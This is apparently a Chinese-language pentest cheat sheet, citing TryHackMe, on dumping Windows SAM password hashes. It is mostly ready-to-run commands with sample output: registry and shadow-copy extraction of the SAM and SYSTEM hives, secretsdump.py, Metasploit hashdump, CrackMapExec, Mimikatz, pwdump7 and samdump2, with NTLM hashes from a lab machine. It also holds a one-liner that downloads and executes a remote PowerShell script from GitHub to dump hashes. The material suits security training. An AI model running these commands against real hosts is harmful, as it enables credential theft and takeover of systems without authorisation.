权限：Administrator | SYSTEM

描述：SAM 是一个本地数据库，其中包含了本地账户信息如 用户名和密码

SAM

注册表保存 SAM 和系统文件

  1. C:\Users\thm\Desktop>reg save HKLM\sam .\sam-reg
  2. The operation completed successfully.
  4. C:\Users\thm\Desktop>reg save HKLM\system .\system-reg
  5. The operation completed successfully.

然后传输到本地使用 secretsdump.py进行获取

  1. $ secretsdump.py -sam sam-reg -system system-reg LOCAL                                                ✔ 
  2. Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
  4. [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
  5. [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
  6. Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
  7. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  8. DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  9. [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
  10. [*] Cleaning up...

MSF

  1. # Modules
  2. use post/windows/gather/hashdump
  3. use post/windows/gather/credentials/credential_collector
  5. # Meterpreter Shell
  6. hashdump
  8. # Extension:Kiwi
  9. lsa_dump_sam

卷影副本

卷影复制服务

  1. C:\Windows\system32>wmic shadowcopy call create Volume='C:\'
  2. Executing (Win32_ShadowCopy)->create()
  3. Method execution successful.
  4. Out Parameters:
  5. instance of __PARAMETERS
  6. {
  7.         ReturnValue = 0;
  8.         ShadowID = "{E38C17F5-CC8C-41D7-A7FF-506B421BBD4C}";
  9. };

成功执行后，我们列出所有的卷影副本

  1. C:\Windows\system32>vssadmin list shadows
  2. vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
  3. (C) Copyright 2001-2013 Microsoft Corp.
  5. Contents of shadow copy set ID: {348b64d7-e6a5-4f64-a240-2903fe5d6d42}
  6.    Contained 1 shadow copies at creation time: 3/10/2023 2:24:43 AM
  7.       Shadow Copy ID: {e38c17f5-cc8c-41d7-a7ff-506b421bbd4c}
  8.          Original Volume: (C:)\\?\Volume{19127295-0000-0000-0000-100000000000}\
  9.          Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
  10.          Originating Machine: Creds-Harvesting-AD.thm.red
  11.          Service Machine: Creds-Harvesting-AD.thm.red
  12.          Provider: 'Microsoft Software Shadow Copy provider 1.0'
  13.          Type: ClientAccessible
  14.          Attributes: Persistent, Client-accessible, No auto release, No writers, Differential

创建的卷影副本具有路径为： \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

SAM 数据库使用 RC4 或 AES 加密，为了解密，我们需要解密密钥。该密钥位于 c:\Windows\System32\Config\system

复制密钥和 SAM 到桌面

  1. C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
  2.         1 file(s) copied.
  4. C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
  5.         1 file(s) copied.

Crackmapexec

  1. crackmapexec smb <IP> -u <User> -p <Password> --sam
  3. # Use the local-auth parameter when authenticating as a local account
  4. crackmapexec smb <IP> -u <User> -p <Password> --sam --local-auth

SAM - 图1

Get-PassHashes (Nishang)

  1. iex (New-Object Net.Webclient).DownloadString("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"); Get-PassHashes

Mimikatz

  1. # Dump from SAM and SYSTEM. Enusre files are in current working directory
  2. Invoke-Mimikatz -command "lsadump::sam /system:SYSTEM /sam:SAM"
  4. # Method 2
  5. Invoke-Mimikatz -command '"lsadump::sam"'

pwdump

Tarasco Security: Password Dumper - PwDump 7 for Windows

pwdump7.zip

  1. # Dump system passwords
  2. ./pwdump7.exe
  4. #  Dump passwords from SAM and System files
  5. pwdump7.exe -s <samfile> <systemfile>

SamDump2

  1. # Dump from SAM and SYSTEM. Enusre files are in current working directory
  2. samdump2 SYSTEM SAM

SAM - 图2

Secretsdump.py

  1. # Dump from SAM and SYSTEM. Enusre files are in current working directory
  2. secretsdump.py -sam SAM -system SYSTEM LOCAL

SAM - 图3

参考

Security Account Manager (SAM) - Pentest Everything

TryHackMe | Cyber Security Training